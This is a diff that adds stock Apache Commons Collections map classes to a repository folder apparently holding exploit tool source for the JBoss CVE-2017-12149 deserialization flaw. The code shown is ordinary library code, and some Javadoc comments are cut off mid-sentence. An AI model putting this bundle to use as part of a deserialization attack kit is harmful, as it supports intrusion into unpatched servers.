+ return getSortedMap().subMap(fromKey, toKey);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ return getSortedMap().tailMap(fromKey);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CaseInsensitiveMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CaseInsensitiveMap.java"
new file mode 100644
index 0000000..f8c739a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CaseInsensitiveMap.java"
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+
+/**
+ * A case-insensitive
+ * As entries are added to the map, keys are converted to all lowercase. A new
+ * key is compared to existing keys by comparing
+ * Null keys are supported.
+ *
+ * The
+ * Example:
+ *
+ * Keys will be converted to lower case strings, which may cause
+ * some entries to be removed (if string representation of keys differ
+ * only by character case).
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ public CaseInsensitiveMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Overrides convertKey() from {@link AbstractHashedMap} to convert keys to
+ * lower case.
+ *
+ * Returns null if key is null.
+ *
+ * @param key the key convert
+ * @return the converted key
+ */
+ protected Object convertKey(Object key) {
+ if (key != null) {
+ return key.toString().toLowerCase();
+ } else {
+ return AbstractHashedMap.NULL;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return super.clone();
+ }
+
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CompositeMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CompositeMap.java"
new file mode 100644
index 0000000..57de70a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CompositeMap.java"
@@ -0,0 +1,531 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.commons.collections.collection.CompositeCollection;
+import org.apache.commons.collections.set.CompositeSet;
+
+/**
+ * Decorates a map of other maps to provide a single unified view.
+ *
+ * Changes made to this map will actually be made on the decorated map.
+ * Add and remove operations require the use of a pluggable strategy. If no
+ * strategy is provided then add and remove are unsupported.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Brian McCallister
+ */
+public class CompositeMap implements Map {
+
+ /** Array of all maps in the composite */
+ private Map[] composite;
+
+ /** Handle mutation operations */
+ private MapMutator mutator;
+
+ /**
+ * Create a new, empty, CompositeMap.
+ */
+ public CompositeMap() {
+ this(new Map[]{}, null);
+ }
+
+ /**
+ * Create a new CompositeMap with two composited Map instances.
+ *
+ * @param one the first Map to be composited
+ * @param two the second Map to be composited
+ * @throws IllegalArgumentException if there is a key collision
+ */
+ public CompositeMap(Map one, Map two) {
+ this(new Map[]{one, two}, null);
+ }
+
+ /**
+ * Create a new CompositeMap with two composited Map instances.
+ *
+ * @param one the first Map to be composited
+ * @param two the second Map to be composited
+ * @param mutator MapMutator to be used for mutation operations
+ */
+ public CompositeMap(Map one, Map two, MapMutator mutator) {
+ this(new Map[]{one, two}, mutator);
+ }
+
+ /**
+ * Create a new CompositeMap which composites all of the Map instances in the
+ * argument. It copies the argument array, it does not use it directly.
+ *
+ * @param composite the Maps to be composited
+ * @throws IllegalArgumentException if there is a key collision
+ */
+ public CompositeMap(Map[] composite) {
+ this(composite, null);
+ }
+
+ /**
+ * Create a new CompositeMap which composites all of the Map instances in the
+ * argument. It copies the argument array, it does not use it directly.
+ *
+ * @param composite Maps to be composited
+ * @param mutator MapMutator to be used for mutation operations
+ */
+ public CompositeMap(Map[] composite, MapMutator mutator) {
+ this.mutator = mutator;
+ this.composite = new Map[0];
+ for (int i = composite.length - 1; i >= 0; --i) {
+ this.addComposited(composite[i]);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Specify the MapMutator to be used by mutation operations.
+ *
+ * @param mutator the MapMutator to be used for mutation delegation
+ */
+ public void setMutator(MapMutator mutator) {
+ this.mutator = mutator;
+ }
+
+ /**
+ * Add an additional Map to the composite.
+ *
+ * @param map the Map to be added to the composite
+ * @throws IllegalArgumentException if there is a key collision and there is no
+ * MapMutator set to handle it.
+ */
+ public synchronized void addComposited(Map map) throws IllegalArgumentException {
+ for (int i = composite.length - 1; i >= 0; --i) {
+ Collection intersect = CollectionUtils.intersection(this.composite[i].keySet(), map.keySet());
+ if (intersect.size() != 0) {
+ if (this.mutator == null) {
+ throw new IllegalArgumentException("Key collision adding Map to CompositeMap");
+ }
+ else {
+ this.mutator.resolveCollision(this, this.composite[i], map, intersect);
+ }
+ }
+ }
+ Map[] temp = new Map[this.composite.length + 1];
+ System.arraycopy(this.composite, 0, temp, 0, this.composite.length);
+ temp[temp.length - 1] = map;
+ this.composite = temp;
+ }
+
+ /**
+ * Remove a Map from the composite.
+ *
+ * @param map the Map to be removed from the composite
+ * @return The removed Map or
+ * This implementation returns a More formally, if this map contains a mapping from a key
+ * k to a value v such that (key==null ? k==null :
+ * key.equals(k)), then this method returns v; otherwise
+ * it returns null. (There can be at most one such mapping.)
+ *
+ * @param key key whose associated value is to be returned.
+ * @return the value to which this map maps the specified key, or
+ * null if the map contains no mapping for this key.
+ *
+ * @throws ClassCastException if the key is of an inappropriate type for
+ * this map (optional).
+ * @throws NullPointerException key is null and this map does not
+ * not permit null keys (optional).
+ *
+ * @see #containsKey(Object)
+ */
+ public Object get(Object key) {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ if (this.composite[i].containsKey(key)) {
+ return this.composite[i].get(key);
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Returns true if this map contains no key-value mappings.
+ *
+ * @return true if this map contains no key-value mappings.
+ */
+ public boolean isEmpty() {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ if (!this.composite[i].isEmpty()) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Returns a set view of the keys contained in this map. The set is
+ * backed by the map, so changes to the map are reflected in the set, and
+ * vice-versa. If the map is modified while an iteration over the set is
+ * in progress, the results of the iteration are undefined. The set
+ * supports element removal, which removes the corresponding mapping from
+ * the map, via the Iterator.remove, Set.remove,
+ * removeAll retainAll, and clear operations.
+ * It does not support the add or addAll operations.
+ *
+ * This implementation returns a Returns the value to which the map previously associated the key, or
+ * null if the map contained no mapping for this key. (A
+ * null return can also indicate that the map previously
+ * associated null with the specified key if the implementation
+ * supports null values.) The map will not contain a mapping for
+ * the specified key once the call returns.
+ *
+ * @param key key whose mapping is to be removed from the map.
+ * @return previous value associated with specified key, or null
+ * if there was no mapping for key.
+ *
+ * @throws ClassCastException if the key is of an inappropriate type for
+ * the composited map (optional).
+ * @throws NullPointerException if the key is null and the composited map
+ * does not not permit null keys (optional).
+ * @throws UnsupportedOperationException if the remove method is
+ * not supported by the composited map containing the key
+ */
+ public Object remove(Object key) {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ if (this.composite[i].containsKey(key)) {
+ return this.composite[i].remove(key);
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Returns the number of key-value mappings in this map. If the
+ * map contains more than Integer.MAX_VALUE elements, returns
+ * Integer.MAX_VALUE.
+ *
+ * @return the number of key-value mappings in this map.
+ */
+ public int size() {
+ int size = 0;
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ size += this.composite[i].size();
+ }
+ return size;
+ }
+
+ /**
+ * Returns a collection view of the values contained in this map. The
+ * collection is backed by the map, so changes to the map are reflected in
+ * the collection, and vice-versa. If the map is modified while an
+ * iteration over the collection is in progress, the results of the
+ * iteration are undefined. The collection supports element removal,
+ * which removes the corresponding mapping from the map, via the
+ * Iterator.remove, Collection.remove,
+ * removeAll, retainAll and clear operations.
+ * It does not support the add or addAll operations.
+ *
+ * @return a collection view of the values contained in this map.
+ */
+ public Collection values() {
+ CompositeCollection keys = new CompositeCollection();
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ keys.addComposited(this.composite[i].values());
+ }
+ return keys;
+ }
+
+ /**
+ * Checks if this Map equals another as per the Map specification.
+ *
+ * @param obj the object to compare to
+ * @return true if the maps are equal
+ */
+ public boolean equals(Object obj) {
+ if (obj instanceof Map) {
+ Map map = (Map) obj;
+ return (this.entrySet().equals(map.entrySet()));
+ }
+ return false;
+ }
+
+ /**
+ * Gets a hash code for the Map as per the Map specification.
+ */
+ public int hashCode() {
+ int code = 0;
+ for (Iterator i = this.entrySet().iterator(); i.hasNext();) {
+ code += i.next().hashCode();
+ }
+ return code;
+ }
+
+ /**
+ * This interface allows definition for all of the indeterminate
+ * mutators in a CompositeMap, as well as providing a hook for
+ * callbacks on key collisions.
+ */
+ public static interface MapMutator {
+ /**
+ * Called when adding a new Composited Map results in a
+ * key collision.
+ *
+ * @param composite the CompositeMap with the collision
+ * @param existing the Map already in the composite which contains the
+ * offending key
+ * @param added the Map being added
+ * @param intersect the intersection of the keysets of the existing and added maps
+ */
+ public void resolveCollision(
+ CompositeMap composite, Map existing, Map added, Collection intersect);
+
+ /**
+ * Called when the CompositeMap.put() method is invoked.
+ *
+ * @param map the CompositeMap which is being modified
+ * @param composited array of Maps in the CompositeMap being modified
+ * @param key key with which the specified value is to be associated.
+ * @param value value to be associated with the specified key.
+ * @return previous value associated with specified key, or null
+ * if there was no mapping for key. A null return can
+ * also indicate that the map previously associated null
+ * with the specified key, if the implementation supports
+ * null values.
+ *
+ * @throws UnsupportedOperationException if not defined
+ * @throws ClassCastException if the class of the specified key or value
+ * prevents it from being stored in this map.
+ * @throws IllegalArgumentException if some aspect of this key or value
+ * prevents it from being stored in this map.
+ * @throws NullPointerException this map does not permit null
+ * keys or values, and the specified key or value is
+ * null.
+ */
+ public Object put(CompositeMap map, Map[] composited, Object key, Object value);
+
+ /**
+ * Called when the CompositeMap.putAll() method is invoked.
+ *
+ * @param map the CompositeMap which is being modified
+ * @param composited array of Maps in the CompositeMap being modified
+ * @param mapToAdd Mappings to be stored in this CompositeMap
+ *
+ * @throws UnsupportedOperationException if not defined
+ * @throws ClassCastException if the class of the specified key or value
+ * prevents it from being stored in this map.
+ * @throws IllegalArgumentException if some aspect of this key or value
+ * prevents it from being stored in this map.
+ * @throws NullPointerException this map does not permit null
+ * keys or values, and the specified key or value is
+ * null.
+ */
+ public void putAll(CompositeMap map, Map[] composited, Map mapToAdd);
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeMap.java"
new file mode 100644
index 0000000..751bd89
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeMap.java"
@@ -0,0 +1,155 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.BoundedMap;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * Any action that would change the size of the map is disallowed.
+ * The put method is allowed to change the value associated with an existing
+ * key however.
+ *
+ * If trying to remove or clear the map, an UnsupportedOperationException is
+ * thrown. If trying to put a new mapping into the map, an
+ * IllegalArgumentException is thrown. This is because the put method can
+ * succeed if the mapping's key already exists in the map, so the put method
+ * is not always unsupported.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/05/07 23:58:33 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class FixedSizeMap
+ extends AbstractMapDecorator
+ implements Map, BoundedMap, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 7450927208116179316L;
+
+ /**
+ * Factory method to create a fixed size map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static Map decorate(Map map) {
+ return new FixedSizeMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ protected FixedSizeMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ if (map.containsKey(key) == false) {
+ throw new IllegalArgumentException("Cannot put new key/value pair - Map is fixed size");
+ }
+ return map.put(key, value);
+ }
+
+ public void putAll(Map mapToCopy) {
+ for (Iterator it = mapToCopy.keySet().iterator(); it.hasNext(); ) {
+ if (mapToCopy.containsKey(it.next()) == false) {
+ throw new IllegalArgumentException("Cannot put new key/value pair - Map is fixed size");
+ }
+ }
+ map.putAll(mapToCopy);
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException("Map is fixed size");
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException("Map is fixed size");
+ }
+
+ public Set entrySet() {
+ Set set = map.entrySet();
+ // unmodifiable set will still allow modification via Map.Entry objects
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = map.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = map.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ public boolean isFull() {
+ return true;
+ }
+
+ public int maxSize() {
+ return size();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeSortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeSortedMap.java"
new file mode 100644
index 0000000..810ab48
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeSortedMap.java"
@@ -0,0 +1,171 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.BoundedMap;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * Any action that would change the size of the map is disallowed.
+ * The put method is allowed to change the value associated with an existing
+ * key however.
+ *
+ * If trying to remove or clear the map, an UnsupportedOperationException is
+ * thrown. If trying to put a new mapping into the map, an
+ * IllegalArgumentException is thrown. This is because the put method can
+ * succeed if the mapping's key already exists in the map, so the put method
+ * is not always unsupported.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:26:52 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class FixedSizeSortedMap
+ extends AbstractSortedMapDecorator
+ implements SortedMap, BoundedMap, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 3126019624511683653L;
+
+ /**
+ * Factory method to create a fixed size sorted map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static SortedMap decorate(SortedMap map) {
+ return new FixedSizeSortedMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ protected FixedSizeSortedMap(SortedMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected SortedMap getSortedMap() {
+ return (SortedMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ if (map.containsKey(key) == false) {
+ throw new IllegalArgumentException("Cannot put new key/value pair - Map is fixed size");
+ }
+ return map.put(key, value);
+ }
+
+ public void putAll(Map mapToCopy) {
+ for (Iterator it = mapToCopy.keySet().iterator(); it.hasNext(); ) {
+ if (mapToCopy.containsKey(it.next()) == false) {
+ throw new IllegalArgumentException("Cannot put new key/value pair - Map is fixed size");
+ }
+ }
+ map.putAll(mapToCopy);
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException("Map is fixed size");
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException("Map is fixed size");
+ }
+
+ public Set entrySet() {
+ Set set = map.entrySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = map.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = map.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap map = getSortedMap().subMap(fromKey, toKey);
+ return new FixedSizeSortedMap(map);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ SortedMap map = getSortedMap().headMap(toKey);
+ return new FixedSizeSortedMap(map);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap map = getSortedMap().tailMap(fromKey);
+ return new FixedSizeSortedMap(map);
+ }
+
+ public boolean isFull() {
+ return true;
+ }
+
+ public int maxSize() {
+ return size();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/Flat3Map.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/Flat3Map.java"
new file mode 100644
index 0000000..e4e1af8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/Flat3Map.java"
@@ -0,0 +1,1123 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.IterableMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.iterators.EmptyIterator;
+import org.apache.commons.collections.iterators.EmptyMapIterator;
+
+/**
+ * A
+ * This map is designed for performance and can outstrip HashMap.
+ * It also has good garbage collection characteristics.
+ *
+ * The performance gains on puts are due to not needing to create a Map Entry
+ * object. This is a large saving not only in performance but in garbage collection.
+ *
+ * Whilst in flat mode this map is also easy for the garbage collector to dispatch.
+ * This is because it contains no complex objects or arrays which slow the progress.
+ *
+ * Do not use
+ * This can be overridden by subclasses to provide a different map implementation.
+ * Not every AbstractHashedMap is suitable, identity and reference based maps
+ * would be poor choices.
+ *
+ * @return a new AbstractHashedMap or subclass
+ * @since Commons Collections 3.1
+ */
+ protected AbstractHashedMap createDelegateMap() {
+ return new HashedMap();
+ }
+
+ /**
+ * Removes the specified mapping from this map.
+ *
+ * @param key the mapping to remove
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key) {
+ if (delegateMap != null) {
+ return delegateMap.remove(key);
+ }
+ if (size == 0) {
+ return null;
+ }
+ if (key == null) {
+ switch (size) { // drop through
+ case 3:
+ if (key3 == null) {
+ Object old = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ if (key2 == null) {
+ Object old = value3;
+ hash2 = hash3;
+ key2 = key3;
+ value2 = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ if (key1 == null) {
+ Object old = value3;
+ hash1 = hash3;
+ key1 = key3;
+ value1 = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ return null;
+ case 2:
+ if (key2 == null) {
+ Object old = value2;
+ hash2 = 0;
+ key2 = null;
+ value2 = null;
+ size = 1;
+ return old;
+ }
+ if (key1 == null) {
+ Object old = value2;
+ hash1 = hash2;
+ key1 = key2;
+ value1 = value2;
+ hash2 = 0;
+ key2 = null;
+ value2 = null;
+ size = 1;
+ return old;
+ }
+ return null;
+ case 1:
+ if (key1 == null) {
+ Object old = value1;
+ hash1 = 0;
+ key1 = null;
+ value1 = null;
+ size = 0;
+ return old;
+ }
+ }
+ } else {
+ if (size > 0) {
+ int hashCode = key.hashCode();
+ switch (size) { // drop through
+ case 3:
+ if (hash3 == hashCode && key.equals(key3)) {
+ Object old = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ if (hash2 == hashCode && key.equals(key2)) {
+ Object old = value3;
+ hash2 = hash3;
+ key2 = key3;
+ value2 = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ if (hash1 == hashCode && key.equals(key1)) {
+ Object old = value3;
+ hash1 = hash3;
+ key1 = key3;
+ value1 = value3;
+ hash3 = 0;
+ key3 = null;
+ value3 = null;
+ size = 2;
+ return old;
+ }
+ return null;
+ case 2:
+ if (hash2 == hashCode && key.equals(key2)) {
+ Object old = value2;
+ hash2 = 0;
+ key2 = null;
+ value2 = null;
+ size = 1;
+ return old;
+ }
+ if (hash1 == hashCode && key.equals(key1)) {
+ Object old = value2;
+ hash1 = hash2;
+ key1 = key2;
+ value1 = value2;
+ hash2 = 0;
+ key2 = null;
+ value2 = null;
+ size = 1;
+ return old;
+ }
+ return null;
+ case 1:
+ if (hash1 == hashCode && key.equals(key1)) {
+ Object old = value1;
+ hash1 = 0;
+ key1 = null;
+ value1 = null;
+ size = 0;
+ return old;
+ }
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Clears the map, resetting the size to zero and nullifying references
+ * to avoid garbage collection issues.
+ */
+ public void clear() {
+ if (delegateMap != null) {
+ delegateMap.clear(); // should aid gc
+ delegateMap = null; // switch back to flat mode
+ } else {
+ size = 0;
+ hash1 = hash2 = hash3 = 0;
+ key1 = key2 = key3 = null;
+ value1 = value2 = value3 = null;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over the map.
+ * Changes made to the iterator affect this map.
+ *
+ * A MapIterator returns the keys in the map. It also provides convenient
+ * methods to get the key and value, and set the value.
+ * It avoids the need to create an entrySet/keySet/values object.
+ * It also avoids creating the Map Entry object.
+ *
+ * @return the map iterator
+ */
+ public MapIterator mapIterator() {
+ if (delegateMap != null) {
+ return delegateMap.mapIterator();
+ }
+ if (size == 0) {
+ return EmptyMapIterator.INSTANCE;
+ }
+ return new FlatMapIterator(this);
+ }
+
+ /**
+ * FlatMapIterator
+ */
+ static class FlatMapIterator implements MapIterator, ResettableIterator {
+ private final Flat3Map parent;
+ private int nextIndex = 0;
+ private boolean canRemove = false;
+
+ FlatMapIterator(Flat3Map parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public boolean hasNext() {
+ return (nextIndex < parent.size);
+ }
+
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_NEXT_ENTRY);
+ }
+ canRemove = true;
+ nextIndex++;
+ return getKey();
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.REMOVE_INVALID);
+ }
+ parent.remove(getKey());
+ nextIndex--;
+ canRemove = false;
+ }
+
+ public Object getKey() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ switch (nextIndex) {
+ case 3:
+ return parent.key3;
+ case 2:
+ return parent.key2;
+ case 1:
+ return parent.key1;
+ }
+ throw new IllegalStateException("Invalid map index");
+ }
+
+ public Object getValue() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ switch (nextIndex) {
+ case 3:
+ return parent.value3;
+ case 2:
+ return parent.value2;
+ case 1:
+ return parent.value1;
+ }
+ throw new IllegalStateException("Invalid map index");
+ }
+
+ public Object setValue(Object value) {
+ if (canRemove == false) {
